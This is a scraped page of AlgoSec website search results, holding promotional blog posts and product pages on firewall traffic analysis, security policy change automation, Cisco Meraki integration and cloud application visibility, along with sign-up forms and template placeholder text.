top of page

Search results

627 results found with an empty search

  • AlgoSec | Unleash the Power of Application-Level Visibility: Your Secret Weapon for Conquering Cloud Chaos

    Are you tired of playing whack-a-mole with cloud security risks? Do endless compliance reports and alert fatigue leave you feeling... Cloud Security Unleash the Power of Application-Level Visibility: Your Secret Weapon for Conquering Cloud Chaos Asher Benbenisty 2 min read Asher Benbenisty Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 7/22/24 Published Are you tired of playing whack-a-mole with cloud security risks? Do endless compliance reports and alert fatigue leave you feeling overwhelmed? It's time to ditch the outdated, reactive approach and embrace a new era of cloud security that's all about proactive visibility . The Missing Piece: Understanding Your Cloud Applications Imagine this: you have a crystal-clear view of every application running in your cloud environment. You know exactly which resources they're using, what permissions they have, and even the potential security risks they pose. Sounds like a dream, right? Well, it's not just possible – it's essential. Why? Because applications are the beating heart of your business. They're what drive your revenue, enable your operations, and store your valuable data. But they're also complex, interconnected, and constantly changing, making them a prime target for attackers. Gain the Upper Hand with Unbiased Cloud Discovery Don't settle for partial visibility or rely on your cloud vendor's limited tools. You need an unbiased, automated cloud discovery solution that leaves no stone unturned. With it, you can: Shine a Light on Shadow IT: Uncover all those rogue applications running without your knowledge, putting your organization at risk. Visualize the Big Picture: See the intricate relationships between your applications and their resources, making it easy to identify vulnerabilities and attack paths. Assess Risk with Confidence: Get a clear understanding of the security posture of each application, so you can prioritize your efforts and focus on the most critical threats. Stay Ahead of the Game: Continuously monitor your environment for changes, so you're always aware of new risks and vulnerabilities. From Reactive to Proactive: Turn Your Cloud into a Fortress Application-level visibility isn't just about compliance or passing an audit (though it certainly helps with those!). It's about fundamentally changing how you approach cloud security. By understanding your applications at a deeper level, you can: Prioritize with Precision: Focus your remediation efforts on the applications and risks that matter most to your business. Respond with Agility: Quickly identify and address vulnerabilities before they're exploited. Prevent Attacks Before They Happen: Implement proactive security measures, like tightening permissions and enforcing security policies, to stop threats in their tracks. Empower Your Teams: Give your security champions the tools they need to effectively manage risk and ensure the continuous security of your cloud environment. The cloud is an ever-changing landscape, but with application-level visibility as your guiding light, you can confidently navigate the challenges and protect your organization from harm. Don't be left in the dark – embrace the power of application understanding and take your cloud security to the next level! Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

  • Best Practices: Incorporating Security into DevOps | algosec

    Security Policy Management with Professor Wool Best Practices: Incorporating Security into DevOps Best Practices for Incorporating Security into DevOps, is a whiteboard-style series of lessons that examine the challenges of and provide technical tips for how to incorporate security throughout the DevOps process. Lesson 1 In this lesson, Professor Wool examines the need for and the process of adjusting application connectivity throughout each stage of the DevOps lifecycle. Best Practices for Incorporating Security Automation into the DevOps Lifecycle Watch Lesson 2 In theory adding capacity should be fairly straightforward, with minimal need for any intervention by the organization’s security team. But in practice it’s a little more complex. In this video Professor Wool provides some tips and best practices to help you add capacity without having to change your security policies, complete a security review or worse still, cause an outage or gap in the security perimeter. Tips for Adding Capacity Without Changing Your Security Policies Watch Lesson 3 In a typical DevOps scenario development team adds new functionality to an existing business application and then rolls it out into production. However, while the new functionality worked as planned in both the test and pre-production environments, the application then fails when moved into the live production environment. In this video, Professor Wool will discuss the reasons why this process went wrong, and how you can fix it. How to Integrate Security into the Test Environment Watch Lesson 4 In previous lessons Professor Wool discussed how building security into DevOps processes at an early stage helps organizations maximize the speed and agility of application development, while minimizing the risks of problems and outages when the applications go live. In this whiteboard video Professor Wool looks at how security automation helps to speed up the practice of Continuous Integration (CI) - a core element of DevOps. How to Integrate Security into the CI Process Watch Have a Question for Professor Wool? Ask him now Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

  • SaaS SLA - AlgoSec

    SaaS SLA Download PDF Download PDF Add a Title Add a Title Add a Title Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue Talk to a Skybox transition expert. Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

  • AlgoSec | Managing the switch – Making the move to Cisco Meraki

    Challenges with managing Cisco Meraki in a complex enterprise environment We have worked closely with Cisco for many years in large complex environments and have developed integrations to support a variety of Cisco solutions for our joint customers. In recent years we have seen an increased interest in the use of Cisco Meraki devices by enterprises that are also AlgoSec customers. In this post, we will highlight some of the AlgoSec capabilities that can quickly add value for Meraki... Application Connectivity Management Managing the switch – Making the move to Cisco Meraki Jeremiah Cornelius 2 min read Jeremiah Cornelius Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 1/4/24 Published Challenges with managing Cisco Meraki in a complex enterprise environment We have worked closely with Cisco for many years in large complex environments and have developed integrations to support a variety of Cisco solutions for our joint customers. In recent years we have seen an increased interest in the use of Cisco Meraki devices by enterprises that are also AlgoSec customers. In this post, we will highlight some of the AlgoSec capabilities that can quickly add value for Meraki customers. Meeting the Enterprise The Cisco Meraki MX is a multifunctional security and SD-WAN enterprise appliance with a wide set of capabilities to address multiple use cases—from an all-in-one device. Organizations across all industries rely on the MX to deliver secure connectivity to hub locations or multi cloud environments. The MX is 100% cloud-managed, so installation and remote management are truly zero-touch, making it ideal for distributed branches, campuses, and data center locations. In our talks with AlgoSec customers and partner architects, it is evident that the benefits that originally made Meraki MX popular in commercial deployments were just as appealing to enterprises. Many enterprises are now faced with waves of expansion in employees working from home, and burgeoning demands for scalable remote access – along with increasing network demands by regional centers. The leader of one security team I spoke with put it very well, “We are deploying to 1,200 locations in four global regions, planned to be 1,500 by year’s end. The choice of Meraki is for us a ‘no-brainer.’ If you haven’t already, I know that you’re going to see this become a more popular option with many big operations.” Natural Companions – AlgoSec ASMS and Cisco Meraki-MX This is a natural situation to meet enhanced requirements with AlgoSec ASMS — reinforcing Meraki’s impressive capabilities and scale as a combined, enterprise-class solution. ASMS brings to the table traffic planning and visualization, rules optimization and management, and a solution to address enterprise-level requirements for policy reporting and compliance auditing. In AlgoSec, we’re proud of AlgoSec Horizon FireFlow’s ability to model the security-connected state of any given endpoints across an entire enterprise. Now our customers with Meraki MX can extend this technology that they know and trust, analyze real traffic in complex deployments, and acquire an understanding of the requirements and impact of changes delivered to their users and applications that are connected by Meraki deployments. As it’s unlikely that your needs, or those of any data center and enterprise, are met by a single vendor and model, AlgoSec unifies operations of the Meraki-MX with those of the other technologies, such as enterprise NGFW and software-defined network fabrics. Our application-centric approach means that Meraki MX can be a component in delivering solutions for zero-trust and microsegmentation with other Cisco technology like Cisco ACI, and other third parties. Cisco Meraki– Product Demo If all of this sounds interesting, take a look for yourself to see how AlgoSec helps with common challenges in these enterprise environments. More Where This Came From The AlgoSec integration with Cisco Meraki-MX is delivering solutions our customers want. If you want to discover more about the Meraki and AlgoSec joint solution, contact us at AlgoSec! We work together with Cisco teams and resellers and will be glad to schedule a meeting to share more details or walk through a more in depth demo. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

  • Solution de gestion de sécurité Algosec | Algosec

    Securely accelerate application delivery by automating application connectivity and security policy across the hybrid network estate. Solution de gestion
de sécurité AlgoSec Bienvenue! La gestion de votre politique de sécurité réseau sur les firewall à la demande et des paramètres de sécurité dans le cloud sont des exercices d'équilibriste délicats. D'un côté, vous devez réduire les risques en minimisant la surface d'attaque. De l'autre, vous devez encourager la productivité en assurant la connectivité des applications métiers essentielles. Toutefois, les processus de gestion de politique de sécurité réseau ont toujours été complexes, chronophages et criblés d'erreur. Ce n'est pas une fatalité. Que cela soit à la demande ou dans le cloud, AlgoSec facilite et automatise la gestion de politique de sécurité réseau afin de rendre votre entreprise plus agile, plus sécurisée et plus conforme et cela de façon constante. Une approche unique de la gestion du cycle de vie des politiques de sécurité AlgoSec est unique car il gère l'ensemble du cycle de vie des politiques de sécurité afin d'assurer une connectivité continue et sécurisée de vos applications métiers. Par le biais d’une interface unique, vous pouvez découvrir vous-même les exigences en matière de connectivité d'applications, analyser les risques de façon proactive, organiser et exécuter rapidement des modifications de sécurité réseau et déclasser des règles de firewall en toute sécurité, tout ceci sans intervention et orchestré de façon harmonieuse sur votre environnement hétérogène. Avec AlgoSec, vous pouvez Unifier votre gestion de politique de sécurité réseau sur des environnements Cloud et à la demande Assurer une conformité continue et réduire de façon drastique les efforts en matière de préparation d'audit de Firewall Assurer la connectivité d'applications de façon rapide et sécurisée et éviter des disfonctionnements liés au réseau Aligner les équipes de sécurité, de réseau et d'applications et encourager DevSecOps Automatiser la gestion de modification de Firewall et éliminer les mauvaises configurations Réduire le risque via une configuration de sécurité correcte et une segmentation réseau effective La solution de gestion de sécurité AlgoSec Analyse de réseau de politique de sécurité Plus d'informations Firewall Analyzer Automatisation des modifications de politique de sécurité Plus d'informations FireFlow Calculer votre ROI Livre Blanc AlgoSec Contact commercial Alexis Luc Bouchauveau Phone: +33 613 200 885
 Email: [email protected] Schedule time with one of our experts

  • How to buy | AlgoSec

    AlgoSec products are sold through our worldwide network of channel partners Request a quote, contact sales or locate a Partner How to buy Request a quote Contact Sales Locate a Partner AWS Marketplace Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Send us a note Work email* First name* Last name* Company* country* Select country... Short answer* Long answer Send message

  • AlgoSec | Firewall Traffic Analysis: The Complete Guide

    What is Firewall Traffic Analysis? Firewall traffic analysis (FTA) is a network security operation that grants visibility into the data packets that travel through your network’s firewalls. Cybersecurity professionals conduct firewall traffic analysis as part of wider network traffic analysis (NTA) workflows. The traffic monitoring data they gain provides deep visibility into how attacks can penetrate your network and what kind of damage threat actors can do once they succeed. NTA vs. FTA... Firewall Policy Management Firewall Traffic Analysis: The Complete Guide Asher Benbenisty 2 min read Asher Benbenisty Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 10/24/23 Published What is Firewall Traffic Analysis? Firewall traffic analysis (FTA) is a network security operation that grants visibility into the data packets that travel through your network’s firewalls. Cybersecurity professionals conduct firewall traffic analysis as part of wider network traffic analysis (NTA) workflows. The traffic monitoring data they gain provides deep visibility into how attacks can penetrate your network and what kind of damage threat actors can do once they succeed. NTA vs. FTA Explained NTA tools provide visibility into things like internal traffic inside the data center, inbound VPN traffic from external users, and bandwidth metrics from Internet of Things (iOT) endpoints. They inspect on-premises devices like routers and switches, usually through a unified, vendor-agnostic interface. Network traffic analyzers do inspect firewalls, but might stop short of firewall-specific network monitoring and management. FTA tools focus more exclusively on traffic patterns through the organization’s firewalls. They provide detailed information on how firewall rules interact with traffic from different sources. This kind of tool might tell you how a specific Cisco firewall conducts deep packet inspection on a certain IP address, and provide broader metrics on how your firewalls operate overall. It may also provide change management tools designed to help you optimize firewall rules and security policies . Firewall Rules Overview Your firewalls can only protect against security threats effectively when they are equipped with an optimized set of rules. These rules determine which users are allowed to access network assets and what kind of network activity is allowed. They play a major role in enforcing network segmentation and enabling efficient network management. Analyzing device policies for an enterprise network is a complex and time-consuming task. Minor mistakes can lead to critical risks remaining undetected and expose network devices to cyberattacks. For this reason, many security leaders use automated risk management solutions that include firewall traffic analysis. These tools perform a comprehensive analysis of firewall rules and communicate the risks of specific rules across every device on the network. This information is important because it will inform the choices you make during real-time traffic analysis. Having a comprehensive view of your security risk profile allows you to make meaningful changes to your security posture as you analyze firewall traffic. Performing Real-Time Traffic Analysis AlgoSec Horizon Security Analyzer captures information on the following traffic types: External IP addresses Internal IP addresses (public and private, including NAT addresses) Protocols (like TCP/IP, SMTP, HTTP, and others) Port numbers and applications for sources and destinations Incoming and outgoing traffic Potential intrusions The platform also supports real-time network traffic analysis and monitoring. When activated, it will periodically inspect network devices for changes to their policy rules, object definitions, audit logs, and more. You can view the changes detected for individual devices and groups, and filter the results to find specific network activities according to different parameters. For any detected change, Horizon Security Analyzer immediately aggregates the following data points: Device – The device where the changes happened. Date/Time – The exact time when the change was made. Changed by – Tells you which administrator performed the change. Summary – Lists the network assets impacted by the change. Many devices supported by Horizon Security Analyzer are actually systems of devices that work together. You can visualize the relationships between these assets using the device tree format. This presents every device as a node in the tree, giving you an easy way to manage and view data for individual nodes, parents nodes, and global categories. For example, Horizon Security Analyzer might discover a redundant rule copied across every firewall in your network. If its analysis shows that the rule triggers frequently, it might recommend moving to a higher node on the device tree. If it turns out the rule never triggers, it may recommend adjusting the rule or deleting it completely. If the rule doesn’t trigger because it conflicts with another firewall rule, it’s clear that some action is needed. Importance of Visualization and Reporting Open source network analysis tools typically work through a command-line interface or a very simple graphic user interface. Most of the data you can collect through these tools must be processed separately before being communicated to non-technical stakeholders. High-performance firewall analysis tools like AlgoSec Horizon Security Analyzer provide additional support for custom visualizations and reports directly through the platform. Visualization allows non-technical stakeholders to immediately grasp the importance of optimizing firewall policies, conducting netflow analysis, and improving the organization’s security posture against emerging threats. For security leaders reporting to board members and external stakeholders, this can dramatically transform the success of security initiatives. AlgoSec Horizon Security Analyzer includes a Visualize tab that allows users to create custom data visualizations. You can save these visualizations individually or combine them into a dashboard. Some of the data sources you can use to create visualizations include: Interactive searches Saved searches Other saved visualizations Traffic Analysis Metrics and Reports Custom visualizations enhance reports by enabling non-technical audiences to understand complex network traffic metrics without the need for additional interpretation. Metrics like speed, bandwidth usage, packet loss, and latency provide in-depth information about the reliability and security of the network. Analyzing these metrics allows network administrators to proactively address performance bottlenecks, network issues, and security misconfigurations. This helps the organization’s leaders understand the network’s capabilities and identify the areas that need improvement. For example, an organization that is planning to migrate to the cloud must know whether its current network infrastructure can support that migration. The only way to guarantee this is by carefully measuring network performance and proactively mitigating security risks. Network traffic analysis tools should do more than measure simple metrics like latency. They need to combine latency into complex performance indicators that show how much latency is occuring, and how network conditions impact those metrics. That might include measuring the variation in delay between individual data packets (jitter), Packet Delay Variation (PDV), and others. With the right automated firewall analysis tool, these metrics can help you identify and address security vulnerabilities as well. For example, you could automate the platform to trigger alerts when certain metrics fall outside safe operating parameters. Exploring AlgoSec’s Network Traffic Analysis Tool AlgoSec Horizon Security Analyzer provides a wide range of operations and optimizations to security teams operating in complex environments. It enables firewall performance improvements and produces custom reports with rich visualizations demonstrating the value of its optimizations. Some of the operations that Horizon Security Analyzer supports include: Device analysis and change tracking reports. Gain in-depth data on device policies, traffic, rules, and objects. It analyzes the routing table that produces a connectivity diagram illustrating changes from previous reports on every device covered. Traffic and routing queries. Run traffic simulations on specific devices and groups to find out how firewall rules interact in specific scenarios. Troubleshoot issues that emerge and use the data collected to prevent disruptions to real-world traffic. This allows for seamless server IP migration and security validation. Compliance verification and reporting. Explore the policy and change history of individual devices, groups, and global categories. Generate custom reports that meet the requirements of corporate regulatory standards like Sarbanes-Oxley, HIPAA, PCI DSS, and others. Rule cleanup and auditing. Identify firewall rules that are either unused, timed out, disabled, or redundant. Safely remove rules that fail to improve your security posture, improving the efficiency of your firewall devices. List unused rules, rules that don’t conform to company policy, and more. Horizon Security Analyzer can even re-order rules automatically, increasing device performance while retaining policy logic. User notifications and alerts. Discover when unexpected changes are made and find out how those changes were made. Monitor devices for rule changes and send emails to pre-assigned users with device analyses and reports. Network Traffic Analysis for Threat Detection and Response By monitoring and inspecting network traffic patterns, firewall analysis tools can help security teams quickly detect and respond to threats. Layer on additional technologies like Intrusion Detection Systems (IDS), Network Detection and Response (NDR), and Threat Intelligence feeds to transform network analysis into a proactive detection and response solution. IDS solutions can examine packet headers, usage statistics, and protocol data flows to find out when suspicious activity is taking place. Network sensors may monitor traffic that passes through specific routers or switches, or host-based intrusion detection systems may monitor traffic from within a host on the network. NDR solutions use a combination of analytical techniques to identify security threats without relying on known attack signatures. They continuously monitor and analyze network traffic data to establish a baseline of normal network activity. NDR tools alert security teams when new activity deviates too far from the baseline. Threat intelligence feeds provide live insight on the indicators associated with emerging threats. This allows security teams to associate observed network activities with known threats as they develop in real-time. The best threat intelligence feeds filter out the huge volume of superfluous threat data that doesn’t pertain to the organization in question. Firewall Traffic Analysis in Specific Environments On-Premises vs. Cloud-hosted Environments Firewall traffic analyzers exist in both on-premises and cloud-based forms. As more organizations migrate business-critical processes to the cloud, having a truly cloud-native network analysis tool is increasingly important. The best of these tools allow security teams to measure the performance of both on-premises and cloud-hosted network devices, gathering information from physical devices, software platforms, and the infrastructure that connects them. Securing the Internet of Things It’s also important that firewall traffic analysis tools take Internet of Things (IoT) devices in consideration. These should be grouped separately from other network assets and furnished with firewall rules that strictly segment them. Ideally, if threat actors compromise one or more IoT devices, network segmentation won’t allow the attack to spread to other parts of the network. Conducting firewall analysis and continuously auditing firewall rules ensures that the barriers between network segments remain viable even if peripheral assets (like IoT devices) are compromised. Microsoft Windows Environments Organizations that rely on extensive Microsoft Windows deployments need to augment the built-in security capabilities that Windows provides. On its own, Windows does not offer the kind of in-depth security or visibility that organizations need. Firewall traffic analysis can play a major role helping IT decision-makers deploy technologies that improve the security of their Windows-based systems. Troubleshooting and Forensic Analysis Firewall analysis can provide detailed information into the causes of network problems, enabling IT professionals to respond to network issues more quickly. There are a few ways network administrators can do this: Analyzing firewall logs. Log data provides a wealth of information on who connects to network assets. These logs can help network administrators identify performance bottlenecks and security vulnerabilities that would otherwise go unnoticed. Investigating cyberattacks. When threat actors successfully breach network assets, they can leave behind valuable data. Firewall analysis can help pinpoint the vulnerabilities they exploited, providing security teams with the data they need to prevent future attacks. Conducting forensic analysis on known threats. Network traffic analysis can help security teams track down ransomware and malware attacks. An organization can only commit resources to closing its security gaps after a security professional maps out the killchain used by threat actors to compromise network assets. Key Integrations Firewall analysis tools provide maximum value when integrated with other security tools into a coherent, unified platform. Security information and event management (SIEM) tools allow you to orchestrate network traffic analysis automations with machine learning-enabled workflows to enable near-instant detection and response. Deploying SIEM capabilities in this context allows you to correlate data from different sources and draw logs from devices across every corner of the organization – including its firewalls. By integrating this data into a unified, centrally managed system, security professionals can gain real-time information on security threats as they emerge. AlgoSec’s Horizon Security Analyzer integrates seamlessly with leading SIEM solutions, allowing security teams to monitor, share, and update firewall configurations while enriching security event data with insights gleaned from firewall logs. Horizon Security Analyzer uses a REST API to transmit and receive data from SIEM platforms, allowing organizations to program automation into their firewall workflows and manage their deployments from their SIEM. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

  • AlgoSec | Deploying NSPM to Implement a Gartner Analyst’s Work from Home Network Security Advice

    Recommendations from Rajpreet Kaur, Senior Principal Analyst at Gartner, in her recent blog on remote working, and a perspective on how... Security Policy Management Deploying NSPM to Implement a Gartner Analyst’s Work from Home Network Security Advice Jeffrey Starr 2 min read Jeffrey Starr Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 4/27/20 Published Recommendations from Rajpreet Kaur, Senior Principal Analyst at Gartner, in her recent blog on remote working, and a perspective on how Network Security Policy Management systems can help enterprises act upon this guidance The COVID-19 pandemic has been the catalyst for a global migration to remote home working. Managing and mitigating the network security risks this presents, on such an unprecedented scale and for a long period of time, poses a significant challenge even for companies that had remote access working plans in place before the pandemic. Not only are cybercriminals taking advantage of network insecurities to leverage attacks, they are also exploiting human anxiety around the crisis to break through security barriers. In fact, a recent survey found that 40 percent of companies reported seeing increased cyberattacks as they enable remote working. So how should organizations manage their security during these massive changes in network usage? In a recent blog , Rajpreet Kaur , Gartner Senior Principal Analyst, and a specialized expert on both hybrid environment network security and NSPM tools, offered recommendations to organizations on how to handle remote infrastructure security challenges, many of which closely align with a focus on network policy automation and application security. Here’s how network security policy management systems can support and enable Rajpreet Kaur’s key recommendations. 1. Don’t panic and start moving things to the cloud without a proper architectural design in place. Panicking and starting a large-scale move to the cloud without a proper plan in place can lead to poor security controls and ill-prepared migration. Before moving to the cloud, organizations must consider their network’s architectural design, which should always start with analysis. The analytical and discovery capabilities of NSPM systems automate this process by discovering and mapping network connectivity and providing a network map, which helps you to understand your network components, making migrations easier, faster and glitch-free. 2. Design a proper network security architecture and plan considering limited disruption and supporting work from home. Implementing these immediate and urgent network changes can only be done effectively and securely with robust change management processes. As with network analysis, NSPM automation capabilities are also vital in rapid change management. Security automation dramatically accelerates change processes, with request generation to implementation time drastically shortened and enables better enforcement and auditing for regulatory compliance. It also helps organizations overcome skill gaps and staffing limitations, which may have already been impacted by the current crisis. NSPM solutions enable full end-to-end change analysis and automation, including what if security checks, automation design, push of changes, and full documentation and audit trail. This ensures that changes can be implemented rapidly, and applied consistently and efficiently, with a full audit trail of every change. 3. Plan for what you need now, don’t try to implement a long-term strategic solution to fix your immediate needs. The current widespread move to home working is adding an extra layer of complexity to remote network security, since organizations are finding themselves having to implement new security policies and roll out adoption in a very short timeframe. Considering this, it’s important for organizations to focus on short-term needs, rather than attempting to develop a long-term strategic solution. Trying to develop a long-term solution in such a short window can be overwhelming and increase the risk of opening security vulnerabilities. Using NSPM speeds up the configuration and implementation process, allowing you to get your remote network security firewall policies up and running as soon as possible, with minimum disruption to your remote workforce. Once you have dealt with the critical immediate needs, you can then focus on developing a more long-term strategy. 4. Try to support your existing work from home employees by doing minimal changes to the existing architecture, like meeting throughput requirements and upgrading the equipment or restricting the access to a group of employees at times. Managing application connectivity and accessibility is key to ensuring minimal work disruption as employees move to remote working. An effective NSPM solution allows you to discover, identify and map business applications to ensure that they are safe and have the necessary connectivity flows. Having such a view of all the applications that are accessing the network allows security teams to map the workflow and provides visibility of the application’s required connectivity in order to minimise outages. 5. For any new network changes and upgrades, or new deployments, consider developing a work from home first strategy. Developing a work from home (WFH) strategy has never been more essential. The challenge is that WFH is a more vulnerable environment; employees are accessing sensitive data from a range of home devices, via outside networks, that may not have the same security controls. On top of this, cyber threats have already seen a sharp increase as cybercriminals exploit the widespread anxiety and vulnerabilities caused by the global crisis. IT security and networking staff are therefore having to do more, with the same staffing levels, whilst also navigating the challenges of doing this remotely from home. NSPM capabilities can help in overcoming these WFH issues. Security teams may, for example, need to change many Firewall rules to allow secure access to sensitive data. An effective NSPM solution can facilitate this and enable fast deployment by providing the ability to make changes to applications’ firewall openings from a single management interface. 6. Enhance security around public facing applications to protect against COVID-19 related cyber-attacks. With the move to remote working, organizations are increasingly relying on applications to carry out their work from home. Ensuring that business-critical applications stay available and secure while shifting to remote work is key to avoiding workflow disruption. It’s essential to take an application centric approach to application security, and an effective NSPM solution can help you to better manage and secure your business-critical applications . As discussed above, application visibility is key here. NSPM systems provides comprehensive application visibility, security operation teams can monitor critical applications for risks and vulnerabilities to ensure that they are safe. Gartner’s Rajpreet Kaur has delivered a good combination of practical and timely guidance along with the logical insights underlying the useful recommendations. These tips bring helpful guidance on the Work from Home security challenge that stands out for its clear relevance when there is now so much other noise out there. A robust NSPM can help you rapidly implement these invaluable recommendations. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

  • AlgoSec | Change automation: A step-by-step guide to network security policy change management

    Avivi Siman-Tov, Director of Product Management at AlgoSec, discusses the benefits of network automation and takes us through a... Firewall Change Management Change automation: A step-by-step guide to network security policy change management Avivi Siman Tov 2 min read Avivi Siman Tov Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 10/21/21 Published Avivi Siman-Tov, Director of Product Management at AlgoSec, discusses the benefits of network automation and takes us through a step-by-step process to standardize change management In today’s fast-paced, data-driven environment, the only constant that businesses can bank on is change. For organizations to function and compete in the modern digital landscape, they need their data to be able to move freely and unobstructed through every branch of their business, unimpeded by security issues that require constant manual attention. The network is arguably the beating heart of an organization but keeping it ticking requires more maintenance than it once did, owing to constantly changing risk profiles and circumstances. That’s why a greater number of businesses are turning to change automation to bridge the gap between network alerts and the action that needs to be taken. Barriers to automation According to Gartner , organizations that can automate more than 70% of their network changes can reduce the number of outages by at least 50% and deliver services up to 50% faster. That’s because a lot of legacy solutions tend to take a reactive rather than proactive approach to dealing with security. There are multiple controls in place that simply don’t talk to each other. While most businesses get alerts from SIEM solutions and vulnerability scanners, responding to them turns into a full-time job, distracting your team from other important work they could be doing. Most organizations know that manual policy changes impact their productivity, but they’re afraid to take the leap to automation because of an ill-placed perception around security. Production environments in all organizations are maintained by different teams — for example, DevOps, maintenance, cloud security, IT, and more. Not all of these teams are educated to the same level in security matters, and some see it as a constraint that slows their work. This can lead to conflict between teams, which means that automation is not always welcome. Despite some resistance to change, enterprise-wide change automation makes it possible to transform network security policies without needing to reinvent the wheel or replace existing business processes. Automation and actionable intelligence are proven to enhance security and business agility without the stress often associated with misconfigurations caused by manual, ad-hoc processes. A typical network change workflow By elevating firewall change management from a manual, arduous task to a fully automated, zero-touch process, networks can become more agile and organizations far more adaptive. There are several steps that organizations need to take towards complete network security automation, from a simple change request through to implementation and validation. Let’s take a look at the most common steps in establishing automation for a simple change request. Step 1 – Request a network change Every change begins with a request. At this stage, you need to clarify who is asking for the amendment and why because sometimes the request is unnecessary or covered by an existing ruleset. Step 2 – Find relevant security devices Once this request is translated, the change automation platform will handle the request and implement the changes to hybrid networks. The administrator will be able to see which firewall and routing devices are involved and what impact the change will have. Step 3 – Plan change The change automation platform understands how to deal with different vendor-specific settings and how to implement the requests in a way that avoids creating any duplicates. Step 4 – Risk check The administrator will get a ‘ what if’ analysis, which checks the change for any risks. In this phase, the decision as to whether to allow the change and expose the network to the risk mentioned is in the hands of the network admin or security manager, depending on who is handling this phase. Step 5 – Push change to device Once planned changes are approved, the ‘magic’ happens. The change automation platform implements and pushes the changes to the desired devices automatically, either through APIs or directly to the device (CLI). This is a fully automated action that can be conducted on multiple devices, whether cloud-based or on-premises. The push can be done in a scheduled manner, in your maintenance window, or on-demand. Step 6 – Validate change At the end of each request, the solution will check that the request was successfully implemented across all devices. The solution also provides ongoing audits of the whole process, enabling easy checking of each stage. Step 7 – Documentation and logging Network security automation platforms can provide you with a full, automated audit trail. Documentation happens on the go, saving IT and security teams time and accelerating tedious network compliance management tasks. Put your trust in network automation While change management is complex stuff, the decision for your business is simple. It’s like the engine of an expensive car. Would you drive at high speeds if you didn’t have your brakes tested or a steering wheel to keep your course straight? Hopefully, the answer is no. With AlgoSec FireFlow , you can automate the security policy change process without introducing any element of risk, vulnerability, or compliance violation. AlgoSec FireFlow allows you to analyze every change before it is introduced, and validate successful changes as intended, all within your existing IT Service Management (ITSM) solutions . By putting your trust in us we can put you firmly in the driving seat with zero-touch change management and secure application deployment. For more information, or to arrange a demo , visit our website . Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

  • Azure security best practices checklist - AlgoSec

    Azure security best practices checklist Download PDF Download PDF Add a Title Add a Title Add a Title Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue Talk to a Skybox transition expert. Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

  • LA SOLUCIÓN DE GESTIÓN DE SEGURIDAD - AlgoSec

    LA SOLUCIÓN DE GESTIÓN DE SEGURIDAD Download PDF Download PDF Add a Title Add a Title Add a Title Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue Talk to a Skybox transition expert. Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

  • AlgoSec | Kinsing Punk: An Epic Escape From Docker Containers

